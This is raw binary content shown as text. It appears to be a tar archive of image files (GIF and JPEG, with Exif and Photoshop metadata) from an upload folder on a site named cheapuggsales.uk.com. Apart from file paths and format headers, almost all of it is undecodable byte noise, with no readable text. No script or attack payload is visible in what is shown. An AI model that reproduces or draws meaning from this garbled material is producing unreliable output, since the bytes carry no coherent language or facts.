OkX(TU2)R&Fԣ|C06.5ɃVq}zhg=#VIva¸0R4V AC=zM@%<tD%#B18> D@D!CHDmhBT .h@è=WPC 8@Pox|19 mr ]Hx/%  ns:7V=d>{`>bS3a٥`{!{=>9b I p6MKHݼdYd GJG3~u6)Nvh! GvD(2  '< z#\1Aix ײd p)βID|N!gHD I0#C<xALǜr,ySlB&L( S 8E L>(B7I +Bh[!+DD{">[D@ND+ޠ ~lB=p# YXy˰]`xK2w]/71| &h,-$nKE.a ڊ jGF!-ebDt`VI"ځI0BF<h)~@N~2̏UX6e -s(1* & cOXHE% )  {x=>$8̓1" E"Z 0L"{n0K@Bt8TpuG ~@>b= r`T5g.׾`]&$BAEWI5Jò9N`mC</|.hM @Zb w86`D~A M-(>nE#wȑr0Gta{,΁tLBfs^3$3w<!SRDPĆz Kt : ! M]ݶ#xbb45}(6(ރ x7%}=~vA=  "Q &e=ȸ;2S=.T rf&P*Nt)jWnU"{ AmiDſ[T{YE)a]071+Q׃Ő/ݻ n==[Go;a\.~  /< ZD0;G=FT+`dkH-yU*uEt۟u$p8\XA+wIX,$88888>8H5Y81.7p.0f&E4-Ha"% >Q8 > @,:]uE-!,Ƣ,rB߱Q q 'yF~4*V$4B=L!BHBơ bܡ1Cԃ:>" ֽ#Hр >c> >c) C)> AC)\b`t,C:: /+,n$G"e })@Ty%V8'@X'܇@!&!ۺOQAФ" :c+>!@ X@)ŪZ?êڧ% Ce>J98D$&B0aG`CX@c%A%aDU'(LHBeUA!lϥRʔOx`ڡEC1C+$@+9փ9C=C\;OXALAZZVMմ$%AL%B'X> e,#C.-Fn+&{'\OT#T-pBTAIFT5~ԟ4$btfBh`RuP* p$%=ئ:C: @:|hC Dx=78#Ad>^b)bXbC(`@?C>&hB+H712hhiz^MR0C\0,ByA:@$UR% &H#C1l}P 46N= MB:9909q,a=C>؃9ڬ>B> @‘* >C9 u>jC9L@,:H-L3B(;LiVT).+l)Y9]Rd)c8Bf@.V$+D9=:@* 6,]"\Ǫ+9.êwN@+.d.C-J<$$D$fPA B=Ċ0d1:3ă< [A"`DRnIeJ$ #$! oUjU[P"0=,=0cí,,*h/+/@-= :-B=2Cl/{Vg 4Rx!O&$Nn:#4Q⸈p Oío:Y=0/ÇOs=)TmD(lpADN(5=-!ڀNTo?7 Cm2٦-1GgJ 㲪9\+J0Y8g (7 _DsҡKwN={ź\,+U]Yi,_մy󝊜8yhPC5ziRK6ujTSVz9Q թS>y T*Q jUF[hyNJbfO7Z1lxaozغt'3NrX&\XB+m`E,󑳝>{\UEط/}AVfesvtKJ]Ț2f:ufu~|׷~ElsGRN.dz@EBZ 6`1 +80->7Xu&s1t4 '9<Y+@"h-!UVa@'TQ8TpR.U 0(Uz赉&'I)aXB_bxbo@B =DO%"T$c5BТC6lCe0qX$ nY$uZQGz( g{RVG gi 7rrq!Gs+9<.玓|fqʹ1IЩQb3vsE~%⊕-YH%H ؀Z )64a=HlcKўezY @ibb!WIX'I34ֳrc5vG+>+@|ٶ|',G+S9J7˶ z-}D3fam;{~VY7p;]S]Ӎ[arq߃s#8=O>T@>tO/@< $Z6QBo͔!|-oabN8vp G8b )m[ElRӣ{h"py2F ԣIT"@xaS ni!` MY[.d(| QXOLZgK`l sI,M]ZNխ9ދEbN)O Q,ppY[MR{%}ՔپT:0s9T8y9VG3g1'Ɲ<|UYZ׾JVUY FDa>"z(EyhS>>>?S??;Y:T@, ;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330085058_69933.gif0000777000000000000000000000010011633550314024405 0ustar rootrootGIF89a w!, `dZ7qi9Q;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330090943_15564.gif0000777000000000000000000000323011633550314024402 0ustar rootrootGIF89a:=ȳιջ־Ժǿ!,:=pH,ȤX% 3X(#*y*S)X.4P .Bqq&zC|E2>3CbND#+p **=p26KB& '/;.%$('`K6BƒC6$G :yC%mژI B ?:nF(|1AI $$aÀI4x ŋp)ACRiap񐐦"#Y !|XAÊ|4h "p$q@0$ zc 9 q P$~DxǼx|hA@% P` "0`€@?R1B@(!#th`!"' DIf M8`Ai-XQn #Uw$#qc qAĊ `WT&E\)Gpӝ@ 0 *P`)"@ !q7$ 0 3 ?  K(ÈC`!mBA 0C2ܐ@,@ ' @qDDd@ 0C>D 3"6XiF`O D4F D+)8J k C @j?ZG Cz C 9@!A*+t7 6ܩB]H 40 $: 9  7`e Qs*ѫPP)(C  %EzB *( XyyD@G(*܆4$|D4 HH0$ `70 42-@z\A+ #025-P$⋏ BY002)Z褗ހ[/鬟SInkA Y o3'̿: t dۗA :d )tPgN'q # /p@H@>I <LO/   ܁ oӀʥ@pT* epa@ @߈Cp^P * <Ё$}Yp5 Re @ hL`$ x` L pNpS @"G 0>4 x :&p$||P Hr $!  K/,e e.OCtjZ̦5MnЛT*NW<'8Nm׼%<}$yI;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330082046_45084.gif0000777000000000000000000001261211633550314024401 0ustar rootrootGIF89a,-PQQ󠢡ԬѻG;`ǣί N?dCPw4$n@;T$ DX( pD$LA!ot8QD2p,Ə8"B H"Y +pt 0 AWP9BГx9sP0'O88!t<3I"X%amqyA1<'jr\m }СH'k2}A& P% !ItBE! #ˆw,$MP+@} 7 ؜&7k*|B9&r]AJ3E`Dz長*iO2h8cNq=N%yaAG wt8d3::q[,pI"v`ƭ "&8\ bAr<2UX@EWTbP*0ATXPUA v ia2^ 8P;(PD2 9!3t@ e@V:N@ l@ qZ",h&-$;Yah)jYRP(,XzX)BA[#!GLtAx(j? x`Avpv,iD,d,`#(s 7xBkp]8`pH` B8)D"(f8LH0Ox,mC[@iK D.laE/bQ(n(@ ğI$KBM1q{@ܧ (F%Jwk`zq!kIt<~)-(<`; aH@%($@$E,fYZB d1Pя)%P-rD/\Kջ8$o'la{" E yЇb G^=!.%Jl4 N:BC^/8eh \2G D2Dt ֐6 V!h7 <\" AM/@Mw{ ~ H $ 3z  @  WZ @r!c <gP6loTMsptU |dmoP6_|eou~ [`'k@]0P#p'VOG4I%`p  %# + 0{& 0 0c8P8pP! l tkegO1{C@yZd0 `E /@ ` P _xn@ vplP v7cq wm >^~ ;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330091815_27196.gif0000777000000000000000000001516511633550314024417 0ustar rootrootGIF89aj  (&/   PN _f_i))q+,vJK  ##+ ]^Vk-/z:C*26$*-%+."&(%)+/6929<.9=,58?KOERVKW[)02;GJ.348>?%-.luv2=>6AB]hisP]]4<GFKTS6>=>KIAMKFSPS[Y.96NYU+519C?3>91327:8DKFgni6;4#%!]aU PSCi+,$]`AEF2us?,9=F9TSQ1<;)Ò,˿*4957;3=AŹ99D9<˾>id432,!,jGH*\ȰÇ#.ŋ3jȱǏ Cq ɓ(S\2IߠhB͛46ϟCpŋ6}2M-IeXj݊A!!d4J,:z1 8``-`KR $È'fB x A˘'#d%8M4)81b2:K,sޝβ(ȓrJ }\B Xcb ͻ| ȍE7`Ͽ@GL.1GF.0߃Dz…Jbx 5*p!! w A*OF-9@!L!pᣏQF|ThDvPBY? B$0IEPdO E5l7fX@%Rj8A xAB|{}bw'ђC& QX4 (:FB GjL| 'j6Y# 9pQGPڀRZ*J`"N} ·S;Oh%F"`;źE[n:1>{4а;C 7G ;Pq, <$4z+I1ЂG8DC{C)@'xƜPz* YYxïFQ[ad }cpbMmE@Qv }YD gi% z$ %G.y=4=Ƞ8cB|f2HD?Qy?JԂ %k vD%%4󵧪ﶗ*NB,GP=xswtqPl4G Wp?]}8!珿O @*= JH`yu J}Ѓ( i6A% lf8ȃ"  9\Q! wY !v waI8EЀ&:7^C<9O 'xIauO`61 ։R%6A Z`kLShEj09R';E#j Qh VAL 4:485OȁqU  r4MT,!` X2f* (pd>әʹ3 l.Q&7\0$(sT+IFK؂>~3FCςtKBt &lAX{BE7ъn wf=?D(MJW (l!IYJӚFQhF0 @@ Mٶ!(@ÈIk(,!#]pf?(IW0&pN<{pC$pn1(6p#zbcE};{1a RG=⨇9V $);0/+Ta c@b&G;e/Y aS#N2,Q :hE+`P%4~GPeD0'wY)N8ata@%P`/@M|BD%{eEыR(E*r |cnc&JqK c),f&ZQ A""P$0 _BX$l|#h;wz]).Ca (@0' D9pH ϏKPE.lR^(>x<xcgB.d]=a(8? ø*4x! @D+8(z g:E/a `X)Pa f s [ g>>p0V^Pz@~t@ rvNzx + 0Lɐ =sI;Uxw Wm Ͱ 0 @ 4(Rjok) h:`_ ޠ Z𰜮 q zKmop n Ҡy@`XkfB7ILD@  P🊚yopi`dp t;%k vmG7 }pAI P ̐ 0kǚhwp~pw_ޙPŌY.=6 bh 4ФNfaE=DP##2.l =ʢC 1AA%B": _L/H @ZaN#-cÓ جadRsnff)FgQNG39hQdiěM;UUOTWњf@FiW^{W`vXb5Xd! ;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330093530_65008.gif0000777000000000000000000001402511633550314024377 0ustar rootrootGIF89aj~}ý¼~}|{Ŀ|zy|{} ™Ɵȱӹ y{|(7-NEtlyͭеշ׹ּپ x w x"%,#C:XQe^xvvu w v x } &vuts u#tsrqtptsu r w yz qn114//1224016126236*+-,-/013/02./1346235124568457RSU^_a147:<>123VWX+-.9;>8::CEEmppOQQNPPbdd233egg455344QRR@AAȬ(-,).-165*.-.21@DC>BARVU),+QTSY\[|~')(,.-+-,132021/10.0/-/.576243:<;798FHGDFE>@?JLKIKJ]_^VXWUWVwyxrtsikj" 364`b`XZX010./.,-,MNM¾%'$,.+463HJGPRO/0.qrl!,jH*\ȰÇ#.ŋ3j8@&Bab "ST !Kȷ$&j  W ifӊJYO+j]QfH/>hJlbb ɒ̋N/8, Q/Y`F(0FaGfqE}C@,CLP1²ϔwQE3o(L .M-1E [d,\[V$pA\`qd`"cHy ĀErgB"11@,7aF  H$VjE>`/E(#B4 !(`FQVXQTT#ciH&idwO|BxlER1 (ecQ_:0 7ZT 0@ %Ԑ'`xZPg TP * H B@PSuЧ J(䀁E,7f"A.! `@  Bp DFj5 X`*-Lk >@ FF>*1@B تE)q / C)»9X["(V=/`\dQFY< >º0 " w!O@raf//n5@Uk Wh*,!½ k@CX` M"XA`KPlE ai+*[r[AS\f;QZ6xW 1@ .xEX`qEHЙDx*daE C`S7^(`zREYBϮa@;c%WW,:0B2 .Pa|!j=KQy}; lp }@h0,lBG=0B\{#,`Ht`(E-/ Nс@ 0@ BP|B 26PzTa` # x7FMG;bFh L,CEYHP \ۢB@B"H1:@$'I*#T^It%GG#S(É,@RGbpf63s Θ:d#C/?d{ɀ8Irӆ@ 2੎ @Ԝ%:Z8 YІ: 0*`̨̗#! 3H,$c,vE 98ͩNmʃ(8xӝ UbAR` UA'{MXJֲ Ch@EPȬdݑ*2Tx^P?8 0 8r :la) YE`dK`:8,6Xj5ȋvՈ5cKvͭFbAmdG,t;15E:@KL"r1֖܀.J\" H*{C( o@D&ZHw=R`"P!]w-ƋT6]$@.rE 6fa:, I#oh!(1`D ½&LQ}(vL,f1 I`1۫a+bn3ּA=Ԑ^HP /7"(1 L`ýraIL>| 7m A%D:[ y#E Xt1Q`E@f g`0lhCD&E(2i\#!kmwXnucQaTb|qeb̛^Ʈ_o8FD QǪeuq P"Vh{]: ITHw|̢F#NHF(B ch.8~ʹ%q߿21G: D0"NA$uyL܂6qd2@_.D"v h`F/hD2 u{q7(.VA'.- JX'D^@x2q h"P;|`c8χP2AgYȃ0%*q@0 e."H2A o%pp ` ^   6rrm$]̧m}4lhp0 ސOF P ` q`|uoplws  gh   m FClF @ ` `[g[ ۀ P tq Ɛ p P @ k GoM^uprFu pkoP Ԁ s o&hGk p 0Ux` `  n p Ұ  mm٦mz P ze` p ո P @ 0 `o ȀkV z䐑f rTm dx dr0hvkʐpp u 0 pp  ǃ x sP rh ^ hbN[_z ` { 9qpYrP g)fЀΰ p^&&۰ +h ` vPhrq@g0fyh&q7F _bPp 0 PFfipp r (V±e\lg`p ` p(zNj 1 c pٗ]pPu P P  ( 9 j@ i{P` ` 3oP 6`Py 7Ȑ p  ̀ w ve @mP9 6jp i0 pp0x @ 0 pVN)kq 0&p@sPq P  `0r P : gqPZrPP_Ljjـ -| * 0o, u`ll` %Ju  w [@ 0 )|Ȓڴ,ij0 Rp5 +q֐p  ΰ oZ`O |u s J r5 ` `@ ~p  p0w oop `w 0  m  p   P P 8s`p Ju  $I;y k p p 𶐹xw@ip |p.ztPр xi  0* ݀ p 8z dm`@|oz 9 5\5 0™o  7Ƞ 5 u`;-ZllͰ \)H]@YtP p .vJ: Ka`Wf,- z2r  w@ vK,s0 KP ~"-00 9Z\ ڰ 0v`X\<̈́l ǰ j0n0 |p-*gpР [|w|pǠg |Э/ wKJw wϬ\0g  ٰ}><@ T\ ЎŁhhtpiю!}hp @P 8]P `g*pXmڢ>}L\у=r _Ѱ 0X-h\M8M{8Ȃ ` +-׻<L ݀ СX}l0ڤ=Ĝm1x P=SPgYzmP=́st@ ^}1[ 8緞mi g@upltʩ o٭ݲ~ ũzM|s М.֗wgP ߍٰuիvʪw`o =@ <^m q Π 7(z㐐q,)ՠ>~tM .gU *5=Ze~Ӫ,Z|w p0snŁ״i^J]Lh= p 鐸l@ @ȗ~ ՙu`{`` q~8^6ʐ`/-

V z@ku#  0b&} 0Mź԰ pn yh€z0 X 03Ӣ\ m!:Ҡ GOg0 z< 怋̀YP M  ԰St {> p |~p [j @ @ PZ 0 Ā `/`/j  F/%oj;cheapuggsales.uk.com/admin_frad/kindeditor/attached/20110330093556_53953.jpg0000777000000000000000000032103211633550314024427 0ustar rootroot ExifMM*bj(1cr2Շi ' 'Adobe Photoshop CS5 (12.0x20100115 [20100115.m.998 2010/01/15:02:00:00 cutoff; m branch]) Windows2011:03:17 13:49:55fn(v HH Adobe_CMAdobed            4" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?p1t:'{]UvaRr+,dvamVqI)nd'amUm96`h3l5=Z#5 O9{ n %MooeZ=eƗqχpG#+srl̷6]K3Y~4 _l[,3(~K-ik\ίNv= >3ɒ2[ig|S,^NS+ǽT77Ow_b#my]}1g3Vxt:_w/W8'覚h~c}T>)hEQ](Sai#i G`h[䚹% nn-LR8LGr1:"SQ6hqq1Zj+7W 8ߛM}{_X-EZ݆Ӑ2?A]`4DSak{-vo}`Bٷ ) F q=;H-OAր|{9JğfQvI ᝒj;8e%HZͿc3?7ջ>rm1:sw9կln`AЏvʘGA>_4xx9`;Ym95[L=>cΪg/sj{574nʲ=v\kEȐ9ldcb:1v:ǹp,-?Gf{j\Vos9;l:wMFX} 1;vnTojc^9'-op@Pj -s@sKe*6HYV*6F-l/Zv7{[awV\Wuz>ԍۚokژ5:C"dΈDYFkpx͙J5KH x ,fJ866v٘LVk{#Z0ּ G#*h2>?srNs\}ߛG765<;{TnrAEQh~y8?"rUK ՒfU-gb:qX|REp5h0%[jŕ4V+} [i?@<#*ޠ/ rpK}]qf5k騼;sV8}/'sisϻr1Z1GИE4 hcZ ;k6-I,N>s..N mf\jƲ5ތk+mj@lme Sium띂v+5= CZb77w~gj@х3S c9 ]Sۨmn2 6`u\Y,^Mu{-{ja`c;4oF0hR^ d^C08Geb56%:ZjS mp ^!3rI>)ϒb$P[i 9L4hJ?L@H#OH5%m&t~tm1~Y WEqzN7{6zůwMźr=mqf߾3tw1. %z5g>Z/?IH(wORcl/?DDǫ3mg}P۶=⸔I۫}v$ޣTP{ e$_8Photoshop 3.08BIM%8BIM:{ printOutputClrSenumClrSRGBCInteenumInteImg MpBlbool printerNameTEXT8BIM;printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd doub@oGrn doub@oBl doub@oBrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R vectorDataboolPgPsenumPgPsPgPCScl UntF#Prc@Y8BIMHH8BIM&?8BIM 8BIM8BIM 8BIM' 8BIMH/fflff/ff2Z5-8BIMp8BIM8BIM8BIM08BIM-8BIM@@8BIM8BIMCbanner1nullboundsObjcRct1Top longLeftlongBtomlongRghtlongslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenum ESliceOrigin autoGeneratedTypeenum ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongRghtlongurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT horzAlignenumESliceHorzAligndefault vertAlignenumESliceVertAligndefault bgColorTypeenumESliceBGColorTypeNone topOutsetlong leftOutsetlong bottomOutsetlong rightOutsetlong8BIM( ?8BIM8BIM8BIM +4a  Adobe_CMAdobed            4" ?   3!1AQa"q2B#$Rb34rC%Scs5&DTdE£t6UeuF'Vfv7GWgw5!1AQaq"2B#R3$brCScs4%&5DTdEU6teuFVfv'7GWgw ?p1t:'{]UvaRr+,dvamVqI)nd'amUm96`h3l5=Z#5 O9{ n %MooeZ=eƗqχpG#+srl̷6]K3Y~4 _l[,3(~K-ik\ίNv= >3ɒ2[ig|S,^NS+ǽT77Ow_b#my]}1g3Vxt:_w/W8'覚h~c}T>)hEQ](Sai#i G`h[䚹% nn-LR8LGr1:"SQ6hqq1Zj+7W 8ߛM}{_X-EZ݆Ӑ2?A]`4DSak{-vo}`Bٷ ) F q=;H-OAր|{9JğfQvI ᝒj;8e%HZͿc3?7ջ>rm1:sw9կln`AЏvʘGA>_4xx9`;Ym95[L=>cΪg/sj{574nʲ=v\kEȐ9ldcb:1v:ǹp,-?Gf{j\Vos9;l:wMFX} 1;vnTojc^9'-op@Pj -s@sKe*6HYV*6F-l/Zv7{[awV\Wuz>ԍۚokژ5:C"dΈDYFkpx͙J5KH x ,fJ866v٘LVk{#Z0ּ G#*h2>?srNs\}ߛG765<;{TnrAEQh~y8?"rUK ՒfU-gb:qX|REp5h0%[jŕ4V+} [i?@<#*ޠ/ rpK}]qf5k騼;sV8}/'sisϻr1Z1GИE4 hcZ ;k6-I,N>s..N mf\jƲ5ތk+mj@lme Sium띂v+5= CZb77w~gj@х3S c9 ]Sۨmn2 6`u\Y,^Mu{-{ja`c;4oF0hR^ d^C08Geb56%:ZjS mp ^!3rI>)ϒb$P[i 9L4hJ?L@H#OH5%m&t~tm1~Y WEqzN7{6zůwMźr=mqf߾3tw1. %z5g>Z/?IH(wORcl/?DDǫ3mg}P۶=⸔I۫}v$ޣTP{ e$_8BIM!UAdobe PhotoshopAdobe Photoshop CS58BIM ohttp://ns.adobe.com/xap/1.0/ Adobed@X     u!"1A2# QBa$3Rqb%C&4r 5'S6DTsEF7Gc(UVWdte)8fu*9:HIJXYZghijvwxyzm!1"AQ2aqB#Rb3 $Cr4%ScD&5T6Ed' sFtUeuV7)(GWf8vgwHXhx9IYiy*:JZjz ?ӞU;Ooy343!` ~8ӏ~K/n.~Āy_߇.Pf5;v͡Ih^j9k?C02QckȒ,Q9+7SҜ-,vHj?VQ}3_0;7rEuuMan*id}ojaGdWɇ8ԕ`d)d({l,֞t?w^P`XL)QJU؛;mkz,*/U=đJxg UmG[Ҭ I_tz:Jƿ(mO9 =6°$k?K<~G^GYSO7Ϳc\B ͇ >8?o~:栎XAcf\R^zN ^ߟOĈUdJ.~ɰ?#9YW P "LZE4ߖG?A{Gѽ@ qbRtβGTxP!"qeZs~ q=ivh\Xk=aTg}mDj-kqrH{nD幌hG\?OmgQ8ָM IM׸uO 3/e"[\CCռJ҆phoF>3 ~tۏӁ(8u_>0}XڽnEAjU<:޺bg uR>-S}zGm~˯z 'a)׫ǯY}C?{z qW_.:Em=:aӥ|z˭ڿ|\huޯ_~~A^QNO}cj֓յa=֝Zˮx{Z>q~<^)-aN:?oNxzt蓦q'^*ϫߩժ\u?ϭ`u_SkG={'~Ѥ7D45d82k[:ko획Dӂ+Mp'$hCydTS}#r hq$ׁQ^i-[=yGNkjZJԏ"GnE^F}Rqς3`bO<{C,#Ȁ _ß StFztݖ8F h 316 [P(B:ubJj%+ i˧5{0jLTG҃Ю>d3ғO.[yE@ @U%8C vbl dtvH#U5 fcvI ժ)SԥS'k#|MǤW;WE9c}[^~@q~==o׺`T9}&zHzU:<~9^{No?R?{^Gؼ7xa㥛7"ZNJ%ZlIb>R [ltݩ A~ޅ߻)\-mxWA|@FWn`;v㮝MӰ&YvF]>N+Y"j y"y]Lhssiw8d&_RIG,GR8WWI}+_%d{o Cǟx_Z|uMh>j҉D"d+s\2m: v{[hP$? woEvgM9MrrR9JM˴3f`RX9_rF%|:7=lDd-O_@>̌,H"bCM(1Xq#?[rl}77v̫J~ޝ6w[['gQ?e:WRm]Z{?YX^erSCNVWTR@KK[W ;I:"yM [3He\6־%a?wJ[_?u0A#J&pQYWKIKWTCIM%EElǩAת=zbo?>NzK׾׺kҟu#ݿ{Z }lYma7:_t'zc??߈. ׌FI>}OZt>ӭq넯E޿_EӫR??9.9}un=F?/]{d ?cߺXJu#uk)#BTuܹYXxےcc$l\I@Pq}pb;\M_X-Ya(W+b ,_hty=-#bd+ lʮN^#J)duȧ[4 3EYXŠy%J԰YD]P܏jDhiK\I<d詘1ʂpյe'Qy~$@hORj?g TT̺1t[\6i%=+i.+Lřس9?O忧#zZ#*Jy&TUPB@ ˢZ㡛lU2 e<:ӱNIK#LQT$qdlt/ބl*EM\u6,CG/k}ƣ(c9Q03Jj$sf&JV =MI U_Mk"I 8uШo/Q6= =Ƶ9_ΓyU#:}_ϯy?ֽoH~}{ߺ_Lt@"\{^ǨFтkKz:Sf_5<1hʒ ؤH D] cgwM=)^|Kk~)n>Uۮ#wq{ Wsmn+xMT+kCRch҆Q4$2m7+V+HaQ(Ÿ*z{ w/.lbpSb7Ԟ5rtFCYMVR12o7Ё5PxNm۠Xgu0oE!ʐ,ܛqsoZS6?gx~ Bژ  ϧ$P@ b& LvN&yUHkDm[Qo>t^h4JQMA:@<}~Γ=Ƨf>}JZHj*׹IoW9N|}:o! ۿL8 ێN-:*CsoPe[OX(-,/mZ[a 8#Qޙ?рhŔHWH I'{F57i"͵ \NbV8T\P}x^ՠP]O Z[h҅rzk''*:P7؏iH:ׇI>}ã\Oꢧ=z//rqM:c/95:\k7{x?ͿoxI\.d[)x=W9}oqo4o>Gӟuc>+}{NE:{xZCOͿ}1zZzupGXީ:=b+}kZ뎶 zEڴzWS\\6&[q2ln uq':ůǪ?pI%*$ W}?-=:z:ƔSUI,q*j$XaAg'rTȻڔa(ifG!cV܊BeF@3ǠVn汓UVǒaJ#^BY*#^:Ru}eDdmToI '\HkM==LUQJrܩREhƝ^cwS( :GS/?Oo4W=%&OMUTʘ;8"i}}CyejLSUg*[X"Nlsb=˰­ t E,?'?%ZW.ڤvAhӤ/,G_/t\Қ%I3ZUֱt{~_i<p7n}qx2bEqH ~=c^\SϠWS,͹>*OϭϗS"H*8cO7(*:M4!N:Mh$~)}ޫ^Bu}P^Ou׉ߺЯ][׺{:|\ot[ӆ7oroDSexr#Ez`xzk>_! J:<ȺHp9u Bʱσ NdИ&:T4dGW$~->VSpx sox$:O.^~;+-$n^M;fPmwb9*́#z-tYrU8@Β;Zw [PI+1sk-\gu&Skn-s[/wjikuૣ1a|vkQbVZ*gKK( r;R1H׶iy-RNt7H69Ey9m%$i"{*1OVc#[{3߀{1W˪WTXE,\uQS)CN _7m}FGDՃVa $Ɵ*=Cr*{n8)A qCgf>-ϴq=]>t5?C~,.:ܟϴi^ݿ?loA ^~]zχR=AG>i^#=e=uw`*:o?OzzD洯\{Nu=^\AzսOϯWV;?޿޽A똿_o{]rïu?u}`{o׏Ql'?^ֳv%{OSӜH놟7}ǿuW?i׀߽~]{W\%5upz_T[&Mu1SP]TH_mMUwS{w1Mg&i }r#If:cFe9@AgƯ#vptƟ?9l#bL y~x>nFѕSAR&Oz~[{I+A1`a($il>ݒtxt[F?};`Utq8G 6iZQU2":Yif4DAe +_w҇˯k& g t/ZBr>ۄƛrU-5L(&_:F(=#,1y ݿXr8u[SU:g(<*][wCuM &̢zz-:Ⱦu,S E~oڤRǦJ]]kO' ocOǶ%VTWϮЃHSgq??}SZ=OREEڏ7k ITp8ͿZ($@g~]z>}6ak{׿.s׏{ ueREzY>]W<: Sj`ߨz\\}dճ__vE7EqU}t`M=|{BR &gHܲzc#Lχ'ЂgU2TX?= 7B^ey,#Tcp?I%B%=dn9 0-Jku쮡b:dt#`Ac{R-ڲ"}:NYMZtJ6ZƖIZ̩R ]~۰=֫Tsԋs;kI=|~|6孂YEh +SXSώKjS*m8.6ǜdu&[2Lx?`n E<-D-,&E:CKO,1I#!ƨHNw#t-~ "qzN؏L6W1G:.sTWKZ2A]Q? l*t4*ѐqt"hWr6hWOIm .t3TWPIN]Jzr# 4+$5 >Vky4^$tսm:+FT_O>@],5n]f+wrS<0Sq{ksm7FEy^4f\II`818g. !erx)=݃K'펌ݗ &j$:sAn45{+, %lӬ Ky$@=, z?{{m'xn:ۮ]+ 5) xd+jj&]i>?ܖ+ ˤCgw.O?fz)O+G/3q*ĴjK,l53c5o[OZiGot|bźaP)Bz'IQFX20lf2Q- EIUQM8Sge~n]Oյ%)|ӓn/.)ɤT⿗FwfKytj=նr33cN-22JRGPRD?Rnfnkidڜ҃K:OPoeoߏ{+Ssҋ AQ_O8oS_ϴWR ?Ch2:lTACmkQL=&$0]Ƿ LJH'רΦߧ>NשtqmԔcG%Tt@H[(S ? vL'}OT8uӔC",XsdjNWZӮZ5XU2tc#o~ TӇ^^ߩת}:TU=bpſֿhNSFy:O^gӯg׬ ujW>/c5[ӭׯY?=}:=c{֕T6:rĎl ? jzJGjڊZGQ3O#5,/4\wК #BNl|QIH*0BOۿ} ?zIy9Q!P }F/`MQ2 _)_NQ*h l׳;\8+ä}]BЃ(zGHQ,9P#/MAX>޴N=z^uy9m4I"7Aٍ@$aTuW)sL~(HEU?= P3F=$SFBq> -Ԫר(?,$4ҍJxA ꃂ9f=/#QG^yQ@`dV7BOڒ@#=Y& Kæʖm\GMvO:gj]7KQQ8(VC:</Wt7^Rcc> *G~fRY$#`{4ӷ15\D~(OJ~I_׽oNqUZjyf~ J4Of_R 9NyӊJmX1R+G. +! gkJ!4 (iɠQ=7.,Q*z fm} SzZg:zb|/}?oJCˬ6^Q׵#x=tq7S3$ 5E{6jjɡx(W,Haa"hF~X$uTn˖~%,L|ُtSVS! ʅva꒏1|VR]5HRcvC6@Vء ?LtOX_ÏLY/h)q}jzlFjjv25̭$R\S.fo5uDP?H76XcGEtPE& m6Få]zzƫzmFێm*DJJC65k^X~WW1yڀe>`q{'EQ6ݎpU4gY'>שݝU [gcM%dZz*@" nܭpԍ{B֢V˘`H^XXd~]iݑջWC#mf.5%ŝًQw>Cwf!F+ DhWT&Q@pN?gWآVzέCS7M>|S|g댶5[wWd!;-ؚ܎ {쬍 =\gA]g-"UQk8tjCe9k'GclθO_zvEV; }ː ؘjj:] CSL!EX M2Op>0OX4ǹ#5 -ki:ZvQzvTz _ꤒ8.%aKU "C)aٕT:r&׻Hv=d\'hIu:~oݗnBݤ{.嚞^L{8i I5RRRGV0mR qij dV`ߚa,,{5đ[]/)۸rӕ}|nطR!S*(8p"9 W>a֤n$Gcޓua`l/}5v/odo_y,3#}R 5l!gRB:s$VQ!)HiZ9.z o-wOlt  zkv6xs1in6VI8tJ$/Hi {cb'^f\ɽ H4Dn#˧΂=6Vu |*f !Ӥ}9O0и!`8İ-؟>I+GL5E/a`}Ȕ\tLUX@?O}/&zXcӦJ=dȵ{l=+Zf+[{EOF=b/Y=.umLԨ[ឲ礨M׎rȸ`-OqDpsЌn|sԤ Q-AnKqE-(:OB:HD ļ u7{3IDVm dU::nq]Lzց[iӮl1<=H'DP|XPv/w6BtRL(:ʟŇVFU,SXڽe1xR>*dFQ0db)ǭx.Өq9 W۔i< uGPX[ۭ+bV'<:-_ɩX'diW_dڵ VPBxjaf$Km=jN=A 8 o׋6s׍=;1pA~?[<,ҽ\\"8V?oF}xٍ;LH+:cRq=!v.OL$`y_hEKU okM ^[5ϮYfmۑ^@L,zRCH^ަ8U8w88만>?[on 9:z T=% ;r%%MAi<px& N*35CZ*to*IO,ӍmI.F;\RP{{iWJT^ptb`XO#_{#+Xڙ^j5lTy\BE{abis4duk1n}?@?ڸm0|H'P//yןz錕XN@ai}ʀץJE\|M _.>0Zڴ:ӮG><%VJS-U6J閆 $e?;$A*dAxdI74M~R ߐcxTf+{cjܪi}6lmݽmffj18UN N·eO6Y+g6lYKR6}TEUTm*#h+ I7BMA}?Gpnv}˸.GU|B<: "vnU38uP|:hv* RҔSCPƄ[wwGg!"d(i1[cGy䢖X)_@kDʶ:c5Hfa9`ebc 7I۔P`'Ծ2)bSә1FhbZ{ ` Mq<#IZ0_>Mk{e#YY|{[UO#؉姨ÎFQe,DƐoơBHW Mrz1HFrsdkVHyhuDU DkYuD78oiM9zђt"2]fga vКޒ;3ڻqC4tc izcRF ׎ ,:A-7ܡ-F8P`/_.ۛhi Pf=l_ t|MosA S=G]׹m$U ;[ٷ I3q2:}c6e|GV̰%x VMKV8 Ʌ 7uBIh0ֵdJi*螱οkmvUfLVV,p[[P0G^|a\]Fu,g w̯]vܙfꮖv0;{cFԆU +T6ռhƯB̺ p*xkyԿ>OFohe7\Z̞{|=W/U.n!9|h1mI\*ߖ8g=^u+ }1?Du˃'L|5#wn<{wCUڛ59qt,qQVg~k"/au;.nv0* |yQ3^?7VOfo ?T|wnؽ]ݡِ;ewo1S23B9h,\\,$L ' Ozƿ}az\ >gIϧU]KNu Y$_oxGT"3AOBJpIoH^n Wugۘu83YG(FՙUPSyQ8 ;[XjWJJ4<9 .ۡi~~gEf|o(v6~ܫ]E&*᭡̯4s;Bm"?p8ø^H5 